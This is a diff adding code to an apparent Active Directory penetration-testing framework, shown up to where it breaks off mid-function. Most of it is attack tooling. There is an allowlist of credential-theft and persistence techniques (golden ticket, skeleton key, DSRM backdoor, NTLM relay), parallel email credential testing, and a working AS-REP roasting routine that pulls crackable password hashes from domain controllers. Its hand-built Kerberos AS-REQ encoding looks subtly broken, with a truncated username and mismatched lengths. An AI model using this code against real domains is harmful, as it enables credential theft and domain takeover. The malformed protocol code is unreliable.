dataclasses import dataclass, field +from datetime import datetime +from pathlib import Path +from typing import Any + +import dns.query +import dns.rdatatype +import dns.resolver +import dns.reversename +import dns.zone +from ldap3 import ALL, Connection, Server + +import sqlite3 + +from pyasn1.codec.der import decoder, encoder +from pyasn1.codec.native import decoder as native_decoder +from pyasn1.type import tag, univ +from hashlib import md5, sha1 +from binascii import hexlify, unhexlify +import hmac +import struct + +# ============================================================================ +# SQLITE SCAN HISTORY DATABASE +# ============================================================================ + +_DEFAULT_DB_PATH = Path.home() / ".adpentest" / "scan_history.db" + + +class ScanDatabase: + """SQLite-backed storage for scan run history, tool results, and CVE findings.""" + + def __init__(self, db_path: str | Path | None = None): + self.db_path = Path(db_path) if db_path else _DEFAULT_DB_PATH + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self._conn: sqlite3.Connection | None = None + self._init_db() + + def _get_conn(self) -> sqlite3.Connection: + if self._conn is None: + self._conn = sqlite3.connect(str(self.db_path), timeout=10) + self._conn.row_factory = sqlite3.Row + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.execute("PRAGMA foreign_keys=ON") + return self._conn + + def _init_db(self) -> None: + conn = self._get_conn() + conn.executescript(""" + CREATE TABLE IF NOT EXISTS scan_runs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + run_id TEXT UNIQUE NOT NULL, + target TEXT NOT NULL, + mode TEXT NOT NULL, + started_at TEXT NOT NULL, + finished_at TEXT, + status TEXT DEFAULT 'running', + domain TEXT, + dc_count INTEGER DEFAULT 0, + live_hosts INTEGER DEFAULT 0, + tools_executed INTEGER DEFAULT 0, + tools_succeeded INTEGER DEFAULT 0, + tools_failed INTEGER DEFAULT 0, + cves_checked INTEGER DEFAULT 0, + cves_vulnerable INTEGER DEFAULT 0, + result_json TEXT + ); + + CREATE TABLE IF NOT EXISTS tool_results ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + run_id TEXT NOT NULL, + tool TEXT NOT NULL, + host TEXT NOT NULL, + is_dc INTEGER DEFAULT 0, + fqdn TEXT, + status TEXT NOT NULL, + started_at TEXT, + finished_at TEXT, + duration_sec REAL, + output TEXT, + error TEXT, + FOREIGN KEY (run_id) REFERENCES scan_runs(run_id) ON DELETE CASCADE + ); + + CREATE TABLE IF NOT EXISTS cve_findings ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + run_id TEXT NOT NULL, + cve_id TEXT NOT NULL, + target TEXT NOT NULL, + cvss REAL, + severity TEXT, + vulnerable INTEGER NOT NULL DEFAULT 0, + impact TEXT, + details_json TEXT, + detected_at TEXT NOT NULL, + FOREIGN KEY (run_id) REFERENCES scan_runs(run_id) ON DELETE CASCADE + ); + + CREATE INDEX IF NOT EXISTS idx_scan_runs_target ON scan_runs(target); + CREATE INDEX IF NOT EXISTS idx_scan_runs_started ON scan_runs(started_at); + CREATE INDEX IF NOT EXISTS idx_tool_results_run ON tool_results(run_id); + CREATE INDEX IF NOT EXISTS idx_tool_results_tool ON tool_results(tool); + CREATE INDEX IF NOT EXISTS idx_cve_findings_run ON cve_findings(run_id); + CREATE INDEX IF NOT EXISTS idx_cve_findings_cve ON cve_findings(cve_id); + CREATE INDEX IF NOT EXISTS idx_cve_findings_vuln ON cve_findings(vulnerable); + """) + conn.commit() + + def start_run(self, run_id: str, target: str, mode: str, domain: str | None = None) -> None: + conn = self._get_conn() + conn.execute( + "INSERT INTO scan_runs (run_id, target, mode, started_at, domain) VALUES (?, ?, ?, ?, ?)", + (run_id, target, mode, datetime.utcnow().isoformat(), domain), + ) + conn.commit() + + def finish_run( + self, + run_id: str, + status: str = "completed", + dc_count: int = 0, + live_hosts: int = 0, + tools_executed: int = 0, + tools_succeeded: int = 0, + tools_failed: int = 0, + cves_checked: int = 0, + cves_vulnerable: int = 0, + result_json: str | None = None, + ) -> None: + conn = self._get_conn() + conn.execute( + """UPDATE scan_runs SET + finished_at=?, status=?, dc_count=?, live_hosts=?, + tools_executed=?, tools_succeeded=?, tools_failed=?, + cves_checked=?, cves_vulnerable=?, result_json=? + WHERE run_id=?""", + ( + datetime.utcnow().isoformat(), status, dc_count, live_hosts, + tools_executed, tools_succeeded, tools_failed, + cves_checked, cves_vulnerable, result_json, run_id, + ), + ) + conn.commit() + + def add_tool_result( + self, + run_id: str, + tool: str, + host: str, + status: str, + is_dc: bool = False, + fqdn: str | None = None, + duration_sec: float | None = None, + output: str | None = None, + error: str | None = None, + ) -> None: + conn = self._get_conn() + conn.execute( + """INSERT INTO tool_results + (run_id, tool, host, is_dc, fqdn, status, started_at, duration_sec, output, error) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""", + (run_id, tool, host, int(is_dc), fqdn, status, + datetime.utcnow().isoformat(), duration_sec, output, error), + ) + conn.commit() + + def add_cve_finding( + self, + run_id: str, + cve_id: str, + target: str, + vulnerable: bool, + cvss: float | None = None, + severity: str | None = None, + impact: str | None = None, + details_json: str | None = None, + ) -> None: + conn = self._get_conn() + conn.execute( + """INSERT INTO cve_findings + (run_id, cve_id, target, vulnerable, cvss, severity, impact, details_json, detected_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""", + (run_id, cve_id, target, int(vulnerable), cvss, severity, impact, + details_json, datetime.utcnow().isoformat()), + ) + conn.commit() + + def get_run_history(self, limit: int = 20) -> list[dict[str, Any]]: + conn = self._get_conn() + rows = conn.execute( + "SELECT * FROM scan_runs ORDER BY started_at DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + def get_cve_summary(self, run_id: str | None = None) -> list[dict[str, Any]]: + conn = self._get_conn() + if run_id: + rows = conn.execute( + "SELECT * FROM cve_findings WHERE run_id=? ORDER BY cvss DESC", (run_id,) + ).fetchall() + else: + rows = conn.execute( + "SELECT * FROM cve_findings WHERE vulnerable=1 ORDER BY detected_at DESC, cvss DESC LIMIT 100" + ).fetchall() + return [dict(r) for r in rows] + + def get_vulnerable_targets(self) -> list[dict[str, Any]]: + conn = self._get_conn() + rows = conn.execute(""" + SELECT target, cve_id, cvss, severity, impact, detected_at + FROM cve_findings WHERE vulnerable=1 + ORDER BY cvss DESC, detected_at DESC + """).fetchall() + return [dict(r) for r in rows] + + def get_tool_stats(self, run_id: str | None = None) -> dict[str, Any]: + conn = self._get_conn() + if run_id: + row = conn.execute( + """SELECT + COUNT(*) as total, + SUM(CASE WHEN status='completed' THEN 1 ELSE 0 END) as succeeded, + SUM(CASE WHEN status IN ('failed','timeout','execution-error') THEN 1 ELSE 0 END) as failed, + AVG(duration_sec) as avg_duration + FROM tool_results WHERE run_id=?""", + (run_id,), + ).fetchone() + else: + row = conn.execute( + """SELECT + COUNT(*) as total, + SUM(CASE WHEN status='completed' THEN 1 ELSE 0 END) as succeeded, + SUM(CASE WHEN status IN ('failed','timeout','execution-error') THEN 1 ELSE 0 END) as failed, + AVG(duration_sec) as avg_duration + FROM tool_results""" + ).fetchone() + return dict(row) if row else {} + + def close(self) -> None: + if self._conn: + self._conn.close() + self._conn = None + + +# Global database instance (lazy init) +_SCAN_DB: ScanDatabase | None = None + + +def get_scan_db(db_path: str | Path | None = None) -> ScanDatabase: + global _SCAN_DB + if _SCAN_DB is None: + _SCAN_DB = ScanDatabase(db_path) + return _SCAN_DB + + +# ============================================================================ +# AD DIAGNOSTIC TOOL ALLOWLIST & METADATA REGISTRY +# ============================================================================ + +AD_TOOLS = { + # Reconnaissance tools + "nmap_scan", + "masscan_scan", + "enum4linux_ng", + "rpcdump_scan", + "smbclient_enum", + "bloodhound_python", + "certipy_find", + "ldapdomaindump", + "kerbrute_userenum", + "crackmapexec", + "smbmap", + "impacket_secretsdump", + "impacket_psexec", + # Windows-native alternatives + "powershell_ldap_enum", + "powershell_smb_enum", + "powershell_ad_recon", + "enum_windows_py", + # Kerberos/Kerberoasting tools + "GetUserSPNs", + "AS_REP_roast", + "kerberoast", + # ADCS certificate attack tools + "certipy_shadow", + "certipy_esc1", + "certipy_esc3", + "certipy_esc9", + # Email protocol enumeration tools (pure Python, no external dependencies) + "smtp_enum", + "smtp_auth_test", + "pop3_auth_test", + "imap_auth_test", + "email_server_discovery", + # v1.0.2: Kerberos exploitation tools + "ntlm_null_session", + "auto_privesc", + "golden_ticket", + "auto_krb_golden", + "silver_ticket", + "asrep_roast_accelerated", + "delegation_abuse", + # v1.0.2: Domain trust exploitation + "trust_enumeration", + "trust_abuse", + # v1.0.2: ADCS exploitation + "esc_scanner", + "esc_exploit", + # v1.0.2: Coercion & relay + "petitpotam", + "printerbug", + "ntlm_relay", + # v1.0.2: Privilege escalation + "acl_scanner", + "acl_exploit", + "gpo_abuse", + "delegation_chain", + # v1.0.2: Persistence + "sid_history", + "dsrm_backdoor", + "dcshadow", + "golden_gmsa", + "skeleton_key", + # v1.1.1.3: CVE scanners + "cve_2026_59270_spring_ldap", + # v1.1.1.4: AD CVE scanners + "cve_2026_54121_certighost", + "cve_2025_54918_ntlm_ldap_bypass", + "cve_2026_33826_ad_rce", + "cve_2026_27912_resetnightmare", + "cve_2026_24294_ntlm_reflection", + "cve_2026_20833_kerberos_rc4", + # v1.1.2.1: Additional AD CVE scanners + "cve_2025_33073_smb_ntlm_reflection", + "cve_2025_29810_ad_privesc", + "cve_2025_58726_ghost_spn", + "cve_2026_25177_unicode_spn", + "cve_2025_24054_ntlm_hash_leak", + "cve_2026_20929_kerberos_dns_relay", +} + +# ============================================================================ +# WINDOWS ENUMERATION (Python-based, cross-platform) +# ============================================================================ + +class WindowsEnumerate: + """Windows-adapted enumeration engine (enum4linux-ng Python port)""" + + def __init__(self, target: str, timeout: int = 10): + self.target = target + self.timeout = timeout + self.results = { + "target": target, + "platform": platform.system(), + "ldap_info": {}, + "smb_info": {}, + "users": [], + "shares": [], + "policy": {}, + } + + def enum_ldap(self) -> dict[str, Any]: + """LDAP enumeration via RootDSE""" + print(f"[VERBOSE] [enum_ldap] Querying LDAP RootDSE on {self.target}", file=sys.stderr, flush=True) + try: + server = Server(self.target, get_info=ALL, timeout=self.timeout) + conn = Connection(server, authentication="ANONYMOUS") + + if not conn.bind(): + print(f"[ERROR] LDAP bind failed on {self.target}", file=sys.stderr) + return {} + + ldap_info = {} + server_info = server.info + + if server_info: + ldap_info["server_name"] = server_info.server_name + ldap_info["schema_naming_context"] = server_info.schema_naming_context + ldap_info["default_naming_context"] = server_info.default_naming_context + ldap_info["configuration_naming_context"] = server_info.configuration_naming_context + + if hasattr(server_info, "forest_functional_level"): + ldap_info["forest_functional_level"] = server_info.forest_functional_level + if hasattr(server_info, "domain_functionality"): + ldap_info["domain_functionality"] = server_info.domain_functionality + + conn.unbind() + self.results["ldap_info"] = ldap_info + print(f"[VERBOSE] [enum_ldap] LDAP enumeration succeeded", file=sys.stderr, flush=True) + return ldap_info + + except Exception as e: + print(f"[ERROR] LDAP enumeration failed: {e}", file=sys.stderr) + return {} + + def enum_smb(self) -> dict[str, Any]: + """SMB enumeration and share discovery with robust WinRM fallback (PowerShell-only, no Impacket)""" + print(f"[VERBOSE] [enum_smb] Enumerating SMB on {self.target}", file=sys.stderr, flush=True) + smb_info = {} + + # Try Method 1: PowerShell HTTPS WinRM (primary) + smb_info = self._enum_smb_winrm_https() + if smb_info and smb_info.get("success"): + return smb_info + + # Try Method 2: PowerShell Kerberos authentication + print(f"[VERBOSE] [enum_smb] Fallback to PowerShell Kerberos authentication", file=sys.stderr, flush=True) + smb_info = self._enum_smb_kerberos() + if smb_info and smb_info.get("success"): + return smb_info + + # Try Method 3: PowerShell Invoke-Command + print(f"[VERBOSE] [enum_smb] Fallback to PowerShell Invoke-Command", file=sys.stderr, flush=True) + smb_info = self._enum_smb_invoke_command() + if smb_info and smb_info.get("success"): + return smb_info + + # All methods failed + smb_info = {"success": False, "error": "All SMB enumeration methods failed", "shares": []} + self.results["smb_info"] = smb_info + return smb_info + + def _enum_smb_winrm_https(self) -> dict[str, Any]: + """Try SMB enumeration via PowerShell HTTPS WinRM (Solution 2)""" + try: + ps_script = f""" +$opt = New-CimSessionOption -Protocol WSMAN -SkipCACheck -SkipCNCheck -UseSsl +$session = New-CimSession -ComputerName {self.target} -SessionOption $opt -ErrorAction Stop +$shares = Get-SmbShare -CimSession $session -ErrorAction SilentlyContinue | Select-Object Name, Path, Description +$connections = Get-SmbConnection -CimSession $session -ErrorAction SilentlyContinue | Select-Object ServerName, UserName, Dialect +Remove-CimSession -CimSession $session +$shares | ConvertTo-Json -Depth 2 +""" + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0 and result.stdout.strip(): + shares_data = json.loads(result.stdout) + if not isinstance(shares_data, list): + shares_data = [shares_data] + + share_list = [{"name": s.get("Name"), "path": s.get("Path"), "description": s.get("Description")} for s in shares_data] + self.results["smb_info"] = {"success": True, "method": "powershell-https-winrm", "shares": share_list} + print(f"[VERBOSE] [enum_smb] HTTPS WinRM successful: {len(share_list)} shares found", file=sys.stderr, flush=True) + return self.results["smb_info"] + + except Exception as e: + print(f"[VERBOSE] [enum_smb] HTTPS WinRM failed: {e}", file=sys.stderr, flush=True) + + return {"success": False} + + def _enum_smb_kerberos(self) -> dict[str, Any]: + """Try SMB enumeration via PowerShell Kerberos authentication (Solution 4)""" + try: + ps_script = f""" +$cim = New-CimSessionOption -Protocol WSMAN -Authentication Kerberos +$session = New-CimSession -ComputerName {self.target} -SessionOption $cim -ErrorAction Stop +$shares = Get-SmbShare -CimSession $session -ErrorAction SilentlyContinue | Select-Object Name, Path, Description +$connections = Get-SmbConnection -CimSession $session -ErrorAction SilentlyContinue | Select-Object ServerName, UserName, Dialect +Remove-CimSession -CimSession $session +$shares | ConvertTo-Json -Depth 2 +""" + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0 and result.stdout.strip(): + shares_data = json.loads(result.stdout) + if not isinstance(shares_data, list): + shares_data = [shares_data] + + share_list = [{"name": s.get("Name"), "path": s.get("Path"), "description": s.get("Description")} for s in shares_data] + self.results["smb_info"] = {"success": True, "method": "powershell-kerberos", "shares": share_list} + print(f"[VERBOSE] [enum_smb] Kerberos authentication successful: {len(share_list)} shares found", file=sys.stderr, flush=True) + return self.results["smb_info"] + + except Exception as e: + print(f"[VERBOSE] [enum_smb] Kerberos method failed: {e}", file=sys.stderr, flush=True) + + return {"success": False} + + def _enum_smb_invoke_command(self) -> dict[str, Any]: + """Try SMB enumeration via PowerShell Invoke-Command (Solution 5)""" + try: + ps_script = f""" +Invoke-Command -ComputerName {self.target} -ScriptBlock {{ + $shares = Get-SmbShare -ErrorAction SilentlyContinue | Select-Object Name, Path, Description + $shares | ConvertTo-Json -Depth 2 +}} -ErrorAction Stop +""" + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0 and result.stdout.strip(): + shares_data = json.loads(result.stdout) + if not isinstance(shares_data, list): + shares_data = [shares_data] + + share_list = [{"name": s.get("Name"), "path": s.get("Path"), "description": s.get("Description")} for s in shares_data] + self.results["smb_info"] = {"success": True, "method": "powershell-invoke-command", "shares": share_list} + print(f"[VERBOSE] [enum_smb] Invoke-Command successful: {len(share_list)} shares found", file=sys.stderr, flush=True) + return self.results["smb_info"] + + except Exception as e: + print(f"[VERBOSE] [enum_smb] Invoke-Command method failed: {e}", file=sys.stderr, flush=True) + + return {"success": False} + + def enum_policy(self) -> dict[str, Any]: + """Enumerate domain policy info""" + print(f"[VERBOSE] [enum_policy] Querying domain policy on {self.target}", file=sys.stderr, flush=True) + policy = {} + + try: + server = Server(self.target, timeout=self.timeout) + conn = Connection(server, authentication="ANONYMOUS") + + if conn.bind(): + policy_attrs = [ + "minPwdLength", + "maxPwdAge", + "minPwdAge", + "pwdHistoryLength", + "pwdProperties", + "lockoutThreshold", + ] + + conn.search( + search_base="", + search_filter="(objectClass=*)", + attributes=policy_attrs, + ) + + if conn.entries: + entry = conn.entries[0] + for attr in policy_attrs: + if attr in entry: + policy[attr] = str(entry[attr]) + + conn.unbind() + + except Exception as e: + print(f"[VERBOSE] [enum_policy] Policy query failed: {e}", file=sys.stderr, flush=True) + + self.results["policy"] = policy + return policy + + def run_all(self) -> dict[str, Any]: + """Run all enumeration modules""" + print(f"[VERBOSE] [enum_windows] Starting enumeration on {self.target}", file=sys.stderr, flush=True) + self.enum_ldap() + self.enum_smb() + self.enum_policy() + print(f"[VERBOSE] [enum_windows] Enumeration complete", file=sys.stderr, flush=True) + return self.results + + def to_text(self) -> str: + """Output results as formatted text""" + output = [] + output.append(f"\n{'=' * 70}") + output.append(f"Enumeration Report: {self.target}") + output.append(f"Platform: {self.results['platform']}") + output.append(f"{'=' * 70}\n") + + if self.results["ldap_info"]: + output.append("[+] LDAP Information:") + for key, value in self.results["ldap_info"].items(): + output.append(f" {key}: {value}") + output.append("") + + if self.results["smb_info"]: + output.append("[+] SMB Information:") + output.append(f" Null Session: {self.results['smb_info'].get('null_session', False)}") + if self.results["shares"]: + output.append(" Shares:") + for share in self.results["shares"]: + output.append(f" - {share['name']} ({share['type']})") + output.append("") + + if self.results["policy"]: + output.append("[+] Domain Policy:") + for key, value in self.results["policy"].items(): + output.append(f" {key}: {value}") + output.append("") + + return "\n".join(output) + + +# ============================================================================ +# DNS RESOLVER CONFIGURATION (System default + fallback) +# ============================================================================ + +class DNSConfig: + """DNS resolver configuration with system defaults and fallback""" + + # Default public DNS servers for fallback + DEFAULT_NAMESERVERS = [ + "8.8.8.8", # Google DNS + "8.8.4.4", # Google DNS secondary + "1.1.1.1", # Cloudflare DNS + "1.0.0.1", # Cloudflare DNS secondary + ] + + def __init__(self, timeout: int | None = None, custom_nameservers: list[str] | None = None): + """ + Initialize DNS config with priority: CLI > Environment > System > Public DNS + + Args: + timeout: DNS query timeout in seconds (default from env or 3s) + custom_nameservers: List of custom nameservers (typically from CLI) + """ + # Resolve timeout: CLI arg > Environment variable > default + if timeout is None: + env_timeout = os.environ.get("DNS_TIMEOUT") + self.timeout = int(env_timeout) if env_timeout else 3 + else: + self.timeout = timeout + + # Resolve nameservers: CLI args > Environment variable > System > Fallback + self.custom_nameservers = custom_nameservers + self.nameserver_source = "unknown" + + if custom_nameservers: + self.nameserver_source = "cli-argument" + print(f"[VERBOSE] [DNSConfig.__init__] DNS config: CLI nameservers: {custom_nameservers}, timeout: {self.timeout}s", file=sys.stderr, flush=True) + else: + env_servers = os.environ.get("DNS_SERVERS") + if env_servers: + self.custom_nameservers = [s.strip() for s in env_servers.split(",")] + self.nameserver_source = "environment-variable" + print(f"[VERBOSE] [DNSConfig.__init__] DNS config: Environment DNS_SERVERS: {self.custom_nameservers}, timeout: {self.timeout}s", file=sys.stderr, flush=True) + + self.resolver = self._create_resolver() + + def _create_resolver(self) -> dns.resolver.Resolver: + """Create DNS resolver with custom, system, or fallback nameservers""" + resolver = dns.resolver.Resolver() + resolver.timeout = self.timeout + resolver.lifetime = self.timeout + + if self.custom_nameservers: + # Use custom nameservers (from CLI or environment) + resolver.nameservers = self.custom_nameservers + print(f"[VERBOSE] [DNSConfig._create_resolver] Using {self.nameserver_source} nameservers: {self.custom_nameservers}", file=sys.stderr, flush=True) + else: + # Try to use system configured nameservers first + try: + system_servers = resolver.nameservers + if system_servers: + self.nameserver_source = "system-default" + print(f"[VERBOSE] [DNSConfig._create_resolver] Using system DNS servers: {system_servers}", file=sys.stderr, flush=True) + else: + raise ValueError("No system nameservers found") + except Exception: + # Fallback to public DNS servers if system config fails + self.nameserver_source = "public-fallback" + resolver.nameservers = self.DEFAULT_NAMESERVERS + print(f"[VERBOSE] [DNSConfig._create_resolver] Using public fallback DNS servers: {self.DEFAULT_NAMESERVERS}", file=sys.stderr, flush=True) + + return resolver + + def resolve(self, qname: str, rdtype: str = "A") -> list[str]: + """Resolve a query with fallback to public DNS""" + results = [] + try: + answers = self.resolver.resolve(qname, rdtype) + results = [str(rdata) for rdata in answers] + print(f"[VERBOSE] [DNSConfig.resolve] Resolved {qname} ({rdtype}) via {self.nameserver_source}: {results}", file=sys.stderr, flush=True) + return results + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer) as e: + print(f"[VERBOSE] [DNSConfig.resolve] No {rdtype} records found for {qname} via {self.nameserver_source}", file=sys.stderr, flush=True) + raise + except dns.resolver.Timeout: + print(f"[VERBOSE] [DNSConfig.resolve] DNS timeout resolving {qname} via {self.nameserver_source}, trying public fallback...", file=sys.stderr, flush=True) + # Try fallback DNS if system resolver times out + return self._resolve_with_fallback(qname, rdtype) + except Exception as e: + print(f"[VERBOSE] [DNSConfig.resolve] DNS error resolving {qname} via {self.nameserver_source}: {e}, trying public fallback...", file=sys.stderr, flush=True) + return self._resolve_with_fallback(qname, rdtype) + + def _resolve_with_fallback(self, qname: str, rdtype: str = "A") -> list[str]: + """Fallback DNS resolution using public DNS servers""" + fallback_resolver = dns.resolver.Resolver() + fallback_resolver.timeout = self.timeout + fallback_resolver.lifetime = self.timeout + fallback_resolver.nameservers = self.DEFAULT_NAMESERVERS + + try: + answers = fallback_resolver.resolve(qname, rdtype) + results = [str(rdata) for rdata in answers] + print(f"[VERBOSE] [DNSConfig._resolve_with_fallback] Resolved {qname} ({rdtype}) via fallback DNS: {results}", file=sys.stderr, flush=True) + return results + except Exception as e: + print(f"[VERBOSE] [DNSConfig._resolve_with_fallback] Fallback DNS also failed for {qname}: {e}", file=sys.stderr, flush=True) + raise + + def reverse_lookup(self, ip: str) -> str | None: + """Reverse DNS lookup with fallback""" + try: + rev_name = dns.reversename.from_address(ip) + results = self.resolve(str(rev_name), "PTR") + if results: + hostname = results[0].rstrip(".") + print(f"[VERBOSE] [DNSConfig.reverse_lookup] Reverse lookup {ip} -> {hostname}", file=sys.stderr, flush=True) + return hostname + except Exception as e: + print(f"[VERBOSE] [DNSConfig.reverse_lookup] Reverse lookup failed for {ip}: {e}", file=sys.stderr, flush=True) + return None + + +# Global DNS configuration instance +GLOBAL_DNS_CONFIG = DNSConfig() + + +# ============================================================================ +# MULTI-THREADED EXECUTION INFRASTRUCTURE (120x Acceleration) +# ============================================================================ + +class ThreadedExecutor: + """Thread pool manager for parallelizing framework operations""" + + def __init__(self, max_workers: int = 32): + self.max_workers = max_workers + print(f"[VERBOSE] [ThreadedExecutor] Initializing thread pool with {max_workers} workers", file=sys.stderr, flush=True) + + def parallel_email_auth( + self, + emails: list[tuple[str, str]], + smtp_server: str, + pop3_server: str | None = None, + imap_server: str | None = None, + timeout: float = 10.0, + ) -> list[tuple[str, str, str]]: + """Parallel credential testing across email protocols""" + results = [] + with ThreadPoolExecutor(max_workers=self.max_workers) as executor: + futures = { + executor.submit( + credential_test_fallback, + smtp_server, + pop3_server, + imap_server, + username, + password, + timeout, + ): (username, password) + for username, password in emails + } + for future in as_completed(futures): + username, password = futures[future] + try: + success, protocol = future.result() + if success: + results.append((username, password, protocol)) + print(f"[VERBOSE] [parallel_email_auth] Credential test succeeded via {protocol}", file=sys.stderr, flush=True) + except Exception as e: + print(f"[VERBOSE] [parallel_email_auth] Error: {e}", file=sys.stderr, flush=True) + return results + + def parallel_port_scan( + self, + host: str, + ports: list[int], + timeout: float = 2.0, + ) -> list[int]: + """Parallel port scanning across multiple ports""" + open_ports = [] + with ThreadPoolExecutor(max_workers=min(self.max_workers, len(ports))) as executor: + futures = { + executor.submit(self._check_port, host, port, timeout): port + for port in ports + } + for future in as_completed(futures): + port = futures[future] + try: + if future.result(): + open_ports.append(port) + except Exception: + pass + return sorted(open_ports) + + def parallel_dns_resolution( + self, + queries: list[tuple[str, str]], + timeout: float = 3.0, + ) -> dict[str, list[str]]: + """Parallel DNS queries for multiple names/record types""" + results = {} + with ThreadPoolExecutor(max_workers=self.max_workers) as executor: + futures = { + executor.submit(GLOBAL_DNS_CONFIG.resolve, qname, rdtype): (qname, rdtype) + for qname, rdtype in queries + } + for future in as_completed(futures): + qname, rdtype = futures[future] + try: + results[f"{qname}/{rdtype}"] = future.result() + except Exception: + results[f"{qname}/{rdtype}"] = [] + return results + + def parallel_tool_execution( + self, + tools: list[str], + host: str, + domain: str | None, + dc_fqdn: str | None, + mode: str, + timeout: int = 900, + ) -> list[dict[str, Any]]: + """Parallel execution of multiple AD tools""" + results = [] + with ThreadPoolExecutor(max_workers=min(self.max_workers, len(tools))) as executor: + futures = { + executor.submit( + execute_ad_tool, + tool, + host, + domain, + dc_fqdn, + mode, + timeout, + ): tool + for tool in tools + } + for future in as_completed(futures): + tool = futures[future] + try: + result = future.result() + results.append(result) + print(f"[VERBOSE] [parallel_tool_execution] Completed: {tool}", file=sys.stderr, flush=True) + except Exception as e: + print(f"[VERBOSE] [parallel_tool_execution] Error for {tool}: {e}", file=sys.stderr, flush=True) + return results + + @staticmethod + def _check_port(host: str, port: int, timeout: float) -> bool: + """Check if port is open""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) == 0 + sock.close() + return result + except Exception: + return False + + +GLOBAL_THREAD_EXECUTOR = ThreadedExecutor(max_workers=32) + + +# ============================================================================ +# AS-REP ROASTING (Pure Python, no impacket dependency) +# Algorithm adapted from impacket.examples.GetNPUsers but using pyasn1 +# ============================================================================ + +def asrep_roast_enum( + domain: str, + kdc_host: str, + ldap_server: str | None = None, + timeout: int = 10, + output_format: str = "hashcat", +) -> dict[str, Any]: + """ + AS-REP roasting: Find users with UF_DONT_REQUIRE_PREAUTH and extract crackable hashes. + Pure Python implementation using pyasn1, no Impacket dependency. + + Args: + domain: Domain name (e.g., 'contoso.com') + kdc_host: KDC hostname or IP for AS-REQ sending + ldap_server: LDAP server IP/hostname (defaults to kdc_host) + timeout: Socket timeout in seconds + output_format: 'hashcat' or 'john' format + + Returns: + { + 'success': bool, + 'users_found': int, + 'hashes': [{'username': str, 'hash': str}], + 'errors': [str] + } + """ + if ldap_server is None: + ldap_server = kdc_host + + result = {"success": False, "users_found": 0, "hashes": [], "errors": []} + + try: + # LDAP query for users with UF_DONT_REQUIRE_PREAUTH (0x400000) + print(f"[VERBOSE] [asrep_roast_enum] Querying LDAP for UF_DONT_REQUIRE_PREAUTH users on {ldap_server}", file=sys.stderr, flush=True) + + server = Server(ldap_server, get_info=None) + conn = Connection(server, auto_bind=True, bind_flow=True) + + # Build base DN from domain + base_dn = ",".join([f"dc={part}" for part in domain.split(".")]) + search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" + + conn.search( + search_base=base_dn, + search_filter=search_filter, + attributes=["sAMAccountName", "userAccountControl"], + ) + + users = [] + for entry in conn.entries: + sam = entry.sAMAccountName.value if hasattr(entry, "sAMAccountName") else None + if sam: + users.append(sam) + + conn.unbind() + result["users_found"] = len(users) + print(f"[VERBOSE] [asrep_roast_enum] Found {len(users)} users with UF_DONT_REQUIRE_PREAUTH", file=sys.stderr, flush=True) + + # For each user, attempt AS-REP roasting + for username in users: + try: + hash_val = _get_tgt_asrep(domain.upper(), username, kdc_host, timeout, output_format) + if hash_val: + result["hashes"].append({"username": username, "hash": hash_val}) + print(f"[VERBOSE] [asrep_roast_enum] Extracted hash for {username}", file=sys.stderr, flush=True) + except Exception as e: + error_msg = f"Failed to roast {username}: {str(e)}" + result["errors"].append(error_msg) + print(f"[VERBOSE] [asrep_roast_enum] {error_msg}", file=sys.stderr, flush=True) + + result["success"] = len(result["hashes"]) > 0 + return result + + except Exception as e: + result["errors"].append(f"LDAP query failed: {str(e)}") + print(f"[VERBOSE] [asrep_roast_enum] Error: {str(e)}", file=sys.stderr, flush=True) + return result + + +def _get_tgt_asrep(domain: str, username: str, kdc_host: str, timeout: int, output_format: str) -> str | None: + """Send AS-REQ without pre-auth to KDC and extract hash from AS-REP""" + try: + # Build AS-REQ + as_req_bytes = _build_as_req_no_preauth(domain, username) + + # Send to KDC (port 88) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((kdc_host, 88)) + + # Send with length prefix (Kerberos TCP format) + sock.sendall(len(as_req_bytes).to_bytes(4, "big") + as_req_bytes) + + # Receive response + response_len_bytes = sock.recv(4) + if not response_len_bytes: + sock.close() + return None + + response_len = int.from_bytes(response_len_bytes, "big") + response = b"" + while len(response) < response_len: + chunk = sock.recv(min(4096, response_len - len(response))) + if not chunk: + break + response += chunk + + sock.close() + + # Parse AS-REP + return _parse_as_rep_hash(domain, username, response, output_format) + + except Exception as e: + print(f"[VERBOSE] [_get_tgt_asrep] KDC communication failed: {str(e)}", file=sys.stderr, flush=True) + return None + + +def _build_as_req_no_preauth(domain: str, username: str) -> bytes: + """Build Kerberos AS-REQ without pre-authentication""" + import random + from datetime import datetime, timedelta, timezone + + # Simplified Kerberos AS-REQ structure (minimal ASN.1) + # This is a direct encoding of the Kerberos AS-REQ message + # Format: [APPLICATION 10] IMPLICIT SEQUENCE + + req_body_data = b"" + + # kdc-options (EXPLICIT [0] BIT STRING) + kdc_opts = 0x40810000 # forwardable, renewable, proxiable + req_body_data += bytes([0xa0, 0x03, 0x03, 0x02, 0x05, 0xa0]) + + # cname (EXPLICIT [1] PrincipalName) + cname_data = b"\x30\x0e\xa0\x03\x02\x01\x01\xa1\x07\x30\x05\x1b\x03" + username.encode()[:3] + req_body_data += b"\xa1" + bytes([len(cname_data) + 2, 0x30, len(cname_data)]) + cname_data + + # realm (EXPLICIT [2] Realm) - GeneralString + realm_bytes = domain.encode() + req_body_data += b"\xa2" + bytes([len(realm_bytes) + 2, 0x1b, len(realm_bytes)]) + realm_bytes + 